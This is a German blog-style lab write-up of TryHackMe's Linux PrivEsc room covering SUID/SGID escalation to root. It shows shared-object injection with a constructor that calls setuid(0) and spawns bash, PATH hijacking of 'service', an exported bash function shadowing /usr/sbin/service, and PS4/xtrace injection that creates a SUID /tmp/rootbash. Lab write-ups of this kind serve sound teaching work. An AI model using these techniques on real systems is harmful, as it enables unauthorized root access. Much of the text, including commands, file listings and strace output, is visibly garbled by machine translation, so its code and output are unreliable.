Dieses Mal werden wir "Erhöhung der Berechtigungen mit SUID/SGID Executables (ohne bekannte Exploits)" versuchen.
Die Zielmaschine nutzt den Raum unten von TryHackme.
"Tryhackme-linux privesc: https://tryhackme.com/room/linuxprivesc "

Dieser Artikel ist Teil 7.
Wenn Sie die Schreiben für Linux Privesc mit TryHackme überprüfen möchten, überprüfen Sie bitte auch Berechtigungserhöhung mit der Sicherheitsanfälligkeit in Exim 4.84.3





Vorbereitung
Starten Sie zuerst die Zielmaschine.
Wenn Sie TryHackme verwenden, wählen Sie "Startmaschine".

Wenn die IP -Adresse wie unten gezeigt angezeigt wird, können Sie sie starten!

Dieses Mal erfolgt die Eskalation des Privilegs, nachdem Sie eine Verbindung zum Zielgerät herstellen konnten. Überprüfen Sie also den Punkt, an dem Sie über SSH eine Verbindung herstellen können.
┌── (hacklab㉿hackLab)-[~] └─ $ ssh user@10.10.52.40 user@10.10.52.40 Passwort: Linux Debian 2.6.32-5-AMD64 #1 SMP TUE 13. Mai 16:34:35 UTC 2014 X86_64 Die mit dem Debian GNU/Linux-System enthaltenen Programme sind freie Software. Die genauen Verteilungsbegriffe für jedes Programm werden in den einzelnen Dateien in/usr/share/doc/*/copyright beschrieben. Debian GNU/Linux verfügt über eine Garantie, sofern dies nach geltendem Recht zulässig ist. Letzter Anmeldung: Sun Apr 9 08:54:59 2023 von IP-10-18-110-90.eu-west-1.compute.internal User@Debian: ~ $
Sobald Sie Zugriff haben, ist die Vorbereitung abgeschlossen.
SUID / SGID Executables - gemeinsame Objektinjektion
Versuchen Sie, die Objektinjektion für SUID -ausführbare Teilen zu teilen.
Überprüfen Sie zunächst alle ausführbaren Dateien von SUID/SGID auf dem Zielgerät.
user@debian: ~ $ find / -typ f -a \ (-perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null -rwxr-sr-x 1 root shadow 19528 Feb 15 2011 /usr/bin/expiry -rwxr-sr-x 1 root ssh 108600 Apr 2 2014 /usr/bin/ssh-agent -rwsr-xr-x 1 root root 37552 Feb 15 2011 /usr/bin/chsh -rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudo -rwxr-sr-x 1 root tty 11000 Jun 17 2010 /usr/bin/bsd-write -rwxr-sr-x 1 root crontab 35040 Dec 18 2010 /usr/bin/crontab -rwsr-xr-x 1 root root 32808 Feb 15 2011 /usr/bin/newgrp -rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudoedit -rwxr-sr-x 1 root shadow 56976 Feb 15 2011 /usr/bin/chage -rwsr-xr-x 1 root root 43280 Feb 15 2011 /usr/bin/passwd -rwsr-xr-x 1 root root 60208 Feb 15 2011 /usr/bin/gpasswd -rwsr-xr-x 1 root root 39856 Februar 2011/USR/bin/chfn -rwxr-sr-x 1 Root tty 12000 Jan 25 2011/usr/bin/wall -rwsr-sr-x 1 Wurzelstab 9861 Mai 14. Mai 2017/usr/local/Bin/SUID-SO-SR-SR-X 1 Wurzel-Sr-sr-sr-sr-sr-sr-sr-sr-sr-sr-s. Root Staff 6899 14. Mai 2017/usr/local/bin/suid-env2 -rwsr-xr-x 1 Root 963691 Mai 13. 2017 /Usr/sbin 212128 Apr 2 2014/usr/lib/openSSH/ssh-keysign -rwsr-xr-x 1 Root 10592 Feb 15 2016/usr/lib/pt_chown -rwsr-xr-x 1 Root 36640 Oktober 2010/Bin/Ping6 -rwsr-XR-x 1 Root 34248/ping6 -rwsr-xr-x 1 -rwsr-xr-x 1 root root 78616 Jan 25 2011 /bin/mount -rwsr-xr-x 1 root root 34024 Feb 15 2011 /bin/su -rwsr-xr-x 1 root root 53648 Jan 25 2011 /bin/umount -rwxr-sr-x 1 root shadow 31864 Oct 17 2011 /sbin/unix_chkpwd -rwsr-xr-X 1 Root Root 94992 Dez 13. Dezember 2014 /sbin/mount.nfs
"/usr/local/bin/sUid-SO" ist anfällig für gemeinsame Objektinjektion.
Verpassen Sie es nicht.
Versuchen Sie als Nächstes "/usr/local/bin/suid-SO".
In diesem Zustand wird eine Fortschrittsleiste erscheinen.
Benutzer@debian: ~ $/usr/local/bin/suid-so Berechnung etwas, bitte warte ... [====>] 99 % fertig.
Nächstes führen Sie Strace aus, um nach Öffnen/Zugriff und "keine solche Datei" Fehler zu überprüfen.
Benutzer@debian: ~ $ strace/usr/local/bin/suid-so 2> & 1 | grep -ie "Öffnen | Zugriff | Keine solche Datei" Access ("/etc/suid -debug", f_ok) = -1 Enoent (keine solche Datei oder Verzeichnis) Zugriff ("/etc/ld.so.nohwcap", f_ok) = -1 Enoent (no solches Datei oder Verzeichnis) Access ("/ETC/ld. Open ("/etc/ld.so.cache", o_rdonly) = 3 access ("/etc/ld.so.nohwcap", f_ok) = -1 Enoent (keine solche Datei oder Verzeichnis) Open ("/libdl.2", o_rdonly) = 3 access ("/libdl.so.2", F_OCht ("/ETH ("/ETH ("/ETC/LD.SO. Eine solche Datei oder ein Verzeichnis) Open ("/usr/lib/libstdc ++. So.6", o_rdonly) = 3 Access ("/etc/ld.So.nohwcap", f_ok) = -1 Enoent (keine solche Datei oder Verzeichnis) Open ("/libm.s.6", O_Rdonly) = 3 Access ("/act.So.6", O_Rdonly) = 3 Access ("/act.So. F_OK) = -1 Enoent (keine solche Datei oder Verzeichnis) Open ("/lib/libgcc_s.so.1", o_rdonly) = 3 access ("/etc/ld.so.nohwcap", f_OK) = -1 Enoent (keine solche Datei oder Verzeichnis) Open ("/lib/libc.So.So. Open ("/home/user/.config/libcalc.so", o_rdonly) = -1 Enoent (keine solche Datei oder Verzeichnis)
Beachten Sie, dass Sie versuchen, /home/user/.config/libcalc.so in Ihrem Heimverzeichnis
Platzieren Sie das gemeinsame Objekt, das die Bash in
dieser " /home/user/.config/libcalc.so Der Code, der Bash generiert, sieht so aus:
Benutzer@debian: ~ $ mkdir /home/user/.config user@debian: ~ $ cat /home/user/tools/suid/libcalc.c #include<stdio.h> #enthalten<stdlib.h> statische void inject () __attribute __ ((Konstruktor)); void inject () {setUid (0); System ("/bin/bash -p"); }
Lassen Sie uns Ihren Code in ein gemeinsam genutztes Objekt zusammenstellen.
Benutzer@debian: ~ $ gcc -shared -fpic -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c user@debian: ~ $ ll .config Total 8 -rwxr-xr-x 1 Benutzer 6134 Apr 9 10:31:31
Wenn Sie in diesem Zustand erneut "/usr/local/bin/uphe-SSO" ausführen, sehen Sie Bash mit Wurzelprivilegien, nicht mit der Fortschrittsleiste.
Benutzer@debian: ~ $/usr/local/bin/sUid-so Berechnung etwas, bitte warte ... Bash-4.1# Whoami Root
SUID / SGID Executables - Umgebungsvariablen
Überprüfen Sie erneut die ausführbare Datei SUID/SGID auf dem Zielgerät.
Das nächste Ziel ist "/usr/local/bin/suid-env".
user@debian: ~ $ find / -typ f -a \ (-perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null -rwxr-sr-x 1 root shadow 19528 Feb 15 2011 /usr/bin/expiry -rwxr-sr-x 1 root ssh 108600 Apr 2 2014 /usr/bin/ssh-agent -rwsr-xr-x 1 root root 37552 Feb 15 2011 /usr/bin/chsh -rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudo -rwxr-sr-x 1 root tty 11000 Jun 17 2010 /usr/bin/bsd-write -rwxr-sr-x 1 root crontab 35040 Dec 18 2010 /usr/bin/crontab -rwsr-xr-x 1 root root 32808 Feb 15 2011 /usr/bin/newgrp -rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudoedit -rwxr-sr-x 1 root shadow 56976 Feb 15 2011 /usr/bin/chage -rwsr-xr-x 1 root root 43280 Feb 15 2011 /usr/bin/passwd -rwsr-xr-x 1 root root 60208 Feb 15 2011 /usr/bin/gpasswd -rwsr-xr-x 1 root root 39856 Februar 2011/USR/bin/chfn -rwxr-sr-x 1 Root tty 12000 Jan 25 2011/usr/bin/wall -rwsr-sr-x 1 Wurzelstab 9861 Mai 14. Mai 2017/usr/local/Bin/SUID-SO-SR-SR-X 1 Wurzel-Sr-sr-sr-sr-sr-sr-sr-sr-sr-sr-s. Root Staff 6899 14. Mai 2017/usr/local/bin/suid-env2 -rwsr-xr-x 1 Root 963691 Mai 13. 2017 /Usr/sbin 212128 Apr 2 2014/usr/lib/openSSH/ssh-keysign -rwsr-xr-x 1 Root 10592 Feb 15 2016/usr/lib/pt_chown -rwsr-xr-x 1 Root 36640 Oktober 2010/Bin/Ping6 -rwsr-XR-x 1 Root 34248/ping6 -rwsr-xr-x 1 -rwsr-xr-x 1 root root 78616 Jan 25 2011 /bin/mount -rwsr-xr-x 1 root root 34024 Feb 15 2011 /bin/su -rwsr-xr-x 1 root root 53648 Jan 25 2011 /bin/umount -rwxr-sr-x 1 root shadow 31864 Oct 17 2011 /sbin/unix_chkpwd -rwsr-xr-X 1 Root Root 94992 Dez 13. Dezember 2014 /sbin/mount.nfs
Versuchen wir es zuerst ehrlich.
Benutzer@debian: ~ $/usr/local/bin/suid-env [...] Webserver starten: Apache2Httpd (PID 1773) bereits ausgeführt. OK
Ich habe versucht, Apache2 zu starten, aber es scheint, dass es bereits begonnen hat.
Lassen Sie uns als nächstes den Inhalt von SUID-ENV anzeigen, der als Zeichenfolge gelesen werden kann.
Saiten sind der Befehl, der dies erreichen kann.
Benutzer@debian: ~ $ strings/usr/local/bin/suid-env /lib64/ld-linux-x86-64.SO.2 5q; xq __gmon_start__ libc.so.6 setResgid setResuid System __libc_start_main glibc_2.2.5 fff. fffff. l $ l t $ (l | $ 0H Service Apache2 Start
Dies sollte hier beachtet werden, dass der Dienst für "Service Apache2 Start" nicht vollständig geladen ist.
Mit anderen Worten, wenn Sie einen Pfad hinzufügen und ein gemeinsames Objekt namens Serivce platzieren, ist es möglich, ihn auszuführen.
Schreiben Sie zunächst den Code auf, um ein gemeinsames Objekt zu erstellen.
Benutzer@debian: ~ $ cat /home/user/tools/suid/service.c int main () {setUid (0); System ("/bin/bash -p"); }
Kompilieren Sie den obigen Code, um ein gemeinsames Objekt namens Service zu erstellen.
Benutzer@debian: ~ $ gcc -o service /home/user/tools/suid/service.c user@debian: ~ $ ll insgesamt 16 -rw-r- -R- 1 Benutzer Benutzer 212 15. Mai 2017 MyVPN.ovpn-Rwxr-XR-X-User-User 6697 Apr.
Führen Sie das Verzeichnis mit dem obigen Dienst als Umgebungsvariable aus.
Benutzer@debian: ~ $ path = .: $ path/usr/local/bin/suid-env root@debian: ~# whoami root
Ich denke, das gemeinsame Objekt, das Sie gerade erstellt haben, wurde ausgeführt und Sie haben Wurzelrechte erhalten.
SUID / SGID Executables - Missbrauch von Shell -Funktionen (#1)
Überprüfen Sie die ausführbare Datei SUID/SGID auf dem Zielgerät.
Als nächstes zielen wir auf "/usr/local/bin/suid-env2" ab.
Überprüfen Sie zuerst, wie zuvor, die Saiten.
user@debian: ~ $ strings/usr/local/bin/suid-env2 /lib64/ld-linux-x86-64.so.2 __gmon_start__ libc.so.6 setResgid setResuid System __libc_start_main glibc_2.2.5 fff. fffff. l $ l t $ (l | $ 0H/usr/sbin/service apache2 starten
Im Gegensatz zu zuvor ist es ein absoluter Pass, so dass es nicht möglich zu sein scheint, dieselbe Methode wie zuvor zu verwenden.
Wenn die Bash-Version jedoch 4.2-048 oder früher ist, gibt es eine Sicherheitsanfälligkeit, bei der ein Shell-Funktionsname im Dateipfad definiert wird, und das Exportieren der Funktion führt zu einer Shell-Funktion mit dem gleichen Namen wie der Dateipfad, der anstelle der tatsächlichen ausführbaren Datei in diesem Dateipfad ausgeführt wird.
Dieses Mal möchte ich das verwenden, also schauen wir uns zunächst die Bash -Version an.
Benutzer@debian: ~ $ /bin /bash --version gnu bash, Version 4.1.5 (1) -Release (x86_64-pc-linux-gnu) Copyright (C) 2009 Free Software Foundation, Inc. Lizenz GPLV3+: GNU GPL Version 3 oder später<http://gnu.org/licenses/gpl.html> Dies ist kostenlose Software; Sie können es frei ändern und umverteilen. Es gibt keine Garantie, sofern dies gesetzlich zulässig ist.
Es wurde bestätigt, dass es unter 4,2-048 liegt.
Erstellen Sie nun eine Funktion namens "/usr/sbin/service", die die Bash -Shell ausführt und die Funktion exportiert.
user@debian: ~ $ function/usr/sbin/service {/bin/bash -p; } user@debian: ~ $ export -f/usr/sbin/service
Sobald Sie dies erreicht haben, führen Sie "/usr/local/bin/suid-env2" aus.
Benutzer@debian: ~ $/usr/local/bin/suid-env2 root@debian: ~# whoami root
Ich konnte auch Wurzelprivilegien erhalten.
SUID / SGID Executables - Missbrauch von Shell -Funktionen (#2)
Wenn die Bash -Version 4.4 oder niedriger ist, können die Root -Berechtigungen auch mit der PS4 -Umgebungsvariablen erhöht werden.
Aktivieren Sie das Bash-Debugging und führen Sie die ausführbare Datei "/usr/local/bin/suid-env2" aus.
Erstellen Sie die SUID -Version von /bin /bash in /tmp /rootbash mit PS4 -Variablen, die auf den Befehl eingebettet sind.
user@debian: ~ $ env -i Shellopts = xtrace ps4 = '$ (cp/bin/bash/tmp/rootbash; chmod +xs/tmp/rootbash)'/usr/local/bin/suid -env2/usr/sbin/service apache2 start baseName/usr/sbin/service = 'service version =' service ver. 0,91-UBUNTU1 'BASENAME/USR/SBIN/SERVICE USAGE =' Nutzung: Service <OPTION> | -status-alle | [service_name [Befehl | -full -restart] 'service = action = servicedir =/etc/init options =' ['2 -eq 0'] 'cd/' ['2 -Gt 0'] 'case "$ {1}" In' ['-z' '-a 2 -eq 1 -a apache2 = -status -All'] '' '[' 2 -EQ 2 -A -Start = -'' '[' ['2 -2 -Eq 2 -EQ 2 -A -' ['[' 2 -2 -EQ 2 -A -2 -EQU. ']' Service = apache2 Shift '[' 1 -Gt 0 ']' case "$ {1}" In '[' -z Apache2 -a 1 -eq 1 -a start = -status -all ']' '[' 1 -eq 2 -a '' '[' -r /etc/init/apache2.conf ']' '' ['-x /etc/init.d/apache2'] 'exec env -i Lang = path =/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/usr/usr/usBin:/sbin:/bin:/bin:/bin:/bin:/bin:/bin = dumb /etc/init: Apache2Httpd (PID 1773) bereits ausgeführt.
Jetzt denke ich, dass Sie /tmp /rootbash erstellt haben, also lass es uns ausführen.
Benutzer@debian: ~ $ /tmp /rootbash -p rootbash -4.1# whoami root
Ich habe jetzt Root -Privilegien!
Zusammenfassung
Dieses Mal habe ich "Privilegerhöhung (ohne bekannte Exploits) mit SUID/SGID Executables ausprobiert.
Nochmals wurde mir klar, dass ich die Version nur so neu wie möglich halten sollte.
Referenzen und Websites
-